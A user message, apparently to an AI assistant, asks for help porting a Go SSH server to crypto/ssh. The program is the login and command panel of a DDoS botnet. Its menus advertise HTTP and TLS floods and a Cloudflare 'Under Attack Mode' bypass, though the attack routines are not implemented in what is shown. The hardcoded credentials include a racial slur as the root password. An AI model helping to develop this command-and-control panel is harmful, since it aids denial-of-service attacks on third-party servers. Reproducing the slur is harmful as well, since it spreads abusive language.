how hard would it be to rewrite this with only the crypto/ssh library and without the gliderlabs one? some of the stuff i need is jujst not supported with that one.


package main

import (
    "fmt"
    "os"
    //"io/ioutil"
    //"strings"

    "github.com/gliderlabs/ssh"
    "golang.org/x/crypto/ssh/terminal"
)

type UserCredentials struct {
    Username string
    Password string
}

func isValidCredentials(username, password string) bool {
    // Define valid username-password combinations
    validCredentials := []UserCredentials{
        {"root", "nigger"},
        {"brrt", "brrt"},
    }

    // Check if the provided credentials match
    for _, credentials := range validCredentials {
        if credentials.Username == username && credentials.Password == password {
            return true
        }
    }

    return false
}

func handleSession(s ssh.Session) {

    term := terminal.NewTerminal(s, "")

    term.Write([]byte("\x1b[H\x1b[2J")); //clear screen

    term.Write([]byte(""))
    term.Write([]byte("\x1b[94musername\x1b[0m: "))
    username, _ := term.ReadLine()

    term.Write([]byte("\x1b[94mpassword\x1b[0m: "))
    password, _ := term.ReadPassword("")

    if isValidCredentials(username, string(password)) {

        fmt.Println(username + " logged in.");

        term.Write([]byte("\x1b[H\x1b[2J")); //clear screen

        term.SetSize(42, 19)

        term.Write([]byte(fmt.Sprintf("\033]0;t.me/thisisbrrt | <3\007"))) // Set window  title

        term.Write([]byte("\n"))
        term.Write([]byte("      zZ    |\\      _,,,---,,_     \n"))
        term.Write([]byte("        Zzz/,`.-'`'    -.  ;-;;,_  \n"))
        term.Write([]byte("          |,4-  ) )-,_. ,\\ (  `'-'\n"))
        term.Write([]byte("          '---''(_/--'  `-'\\_)     \n\n"))

        greeting := fmt.Sprintf("         Good morning \x1B[38;5;140m%s\x1b[0m.", username);
        term.Write([]byte(greeting));

        prompt := fmt.Sprintf("\x1B[48;5;235m\x1B[38;5;140m %s ● botnet \x1B[0m ~ $ ", username)

        for {

            term.Write([]byte("\n\n" + prompt));

            cmd, err := term.ReadLine()
            if err != nil {
                break
            }

            runCommand(cmd, term)

        }
    } else {

        term.Write([]byte("\nInvalid username or password."))
        term.ReadLine()

    }

    s.Close()

}

func runCommand(cmd string, term *terminal.Terminal) {

    term.Write([]byte("\x1b[H\x1b[2J\n")); // clear screen

    switch cmd {
    case "help":
        term.Write([]byte(`Help:
help - Displays the help menu
l7 - Display layer 7 methods
l4 - Display layer 4 methods
exit - Close the session`))
    case "l7":
        term.Write([]byte(`Methods:
http-flood - Flood the server with HTTP requests
tls - HTTP flood with TLS certificate
uam-bypass - Bypasses cloudflare Under Attack Mode`))
    case "l4":
        term.Write([]byte(`Methods:
None yet!`))
    case "exit":
        term.Write([]byte("Exiting…"))
        os.Exit(1)
    default:
        term.Write([]byte("Invalid command."))
    }
}

func main() {

    ssh.Handle(func(s ssh.Session) {
        handleSession(s)
    })

    fmt.Println("Starting SSH server on port 22…")
    err := ssh.ListenAndServe(":22", nil)
    if err != nil {
        fmt.Println("Failed to start SSH server:", err)
    }
}